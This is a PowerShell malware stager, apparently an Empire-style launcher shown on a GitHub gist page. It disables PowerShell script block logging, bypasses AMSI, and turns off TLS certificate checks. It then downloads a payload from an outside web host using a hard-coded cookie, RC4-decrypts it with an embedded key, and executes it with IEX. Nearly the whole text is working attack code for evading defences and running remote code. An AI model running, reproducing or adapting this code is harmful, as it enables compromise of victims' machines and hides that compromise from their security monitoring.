| $VAl = [COllecTiONs.GeNEric.DIcTiONaRY[StRInG, SySTem.ObjEcT]]::NeW(); | |
| $VaL.AdD('EnableScriptB' + 'lockLogging', 0); | |
| $VAL.ADd('EnableScriptBlockInvocationLogging', 0); | |
| $GPC['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB' + 'lockLogging'] = $Val | |
| } | |
| ELSe { | |
| [SCRipTBloCK]. | |
| "GeTFIE`Ld" ('signatures', 'N' + 'onPublic,Static').SetVALue($nUll, (NEw - OBjECt CoLLECTiOnS.GenErIc.HAsHSet[striNG])) | |
| }[REf].ASSEMBlY.GeTTYPe('System.Management.Automation.AmsiUtils') | ? { | |
| $_ | |
| } | % { | |
| $_.GEtFieLd('amsiInitFailed', 'NonPublic,Static').SetVaLUe($null, $tRUe) | |
| }; | |
| }; | |
| [SySteM.NEt.SERvIcePointMANAgER]::ExpECt100COntiNUe = 0; | |
| $Wc = NEw - OBjeCT SystEM.NEt.WEBCLieNT; | |
| $u = 'Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko'; | |
| [System.Net.ServicePointManager]::ServerCertificateValidationCallback = { | |
| $true | |
| }; | |
| $wc.HEaDeRS.AdD('User-Agent', $u); | |
| $wC.PrOXy = [SYsteM.NEt.WEbREqUEsT]::DefAULtWeBPROXY; | |
| $WC.PRoXy.CrEDentiAls = [SYStem.NET.CREdENTialCachE]::DEFAULTNEtWOrKCReDENtIaLs; | |
| $Script: Proxy = $wc.Proxy; | |
| $K = [SysTEM.TeXt.ENcodInG]::ASCII.GEtBytEs('9]eOCqu(U@MB~54ZXVkTrEA?x=;I6d}H'); | |
| $R = { | |
| $D, | |
| $K = $ARGS;$S = 0. .255;0. .255 | % { | |
| $J = ($J + $S[$_] + $K[$_ % $K.COUnt]) % 256;$S[$_], | |
| $S[$J] = $S[$J], | |
| $S[$_] | |
| };$D | % { | |
| $I = ($I + 1) % 256;$H = ($H + $S[$I]) % 256;$S[$I], | |
| $S[$H] = $S[$H], | |
| $S[$I];$_ - BXOR$S[($S[$I] + $S[$H]) % 256] | |
| } | |
| }; | |
| $ser = 'https://www.hazeldeanhotel.com:443'; | |
| $t = '/restaurants-in-center-city-philadelphia/'; | |
| $Wc.HeaDerS.AdD("Cookie", "session=MkomMEOOhvaKu33T0vTAeFXqdmA="); | |
| $DaTA = $WC.DowNLOaDDATA($sER + $T); | |
| $IV = $DATA[0. .3]; | |
| $Data = $DATA[4..$datA.lenGth]; - JOIn[ChaR[]]( & $R $DaTa($IV + $K)) | IEX |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment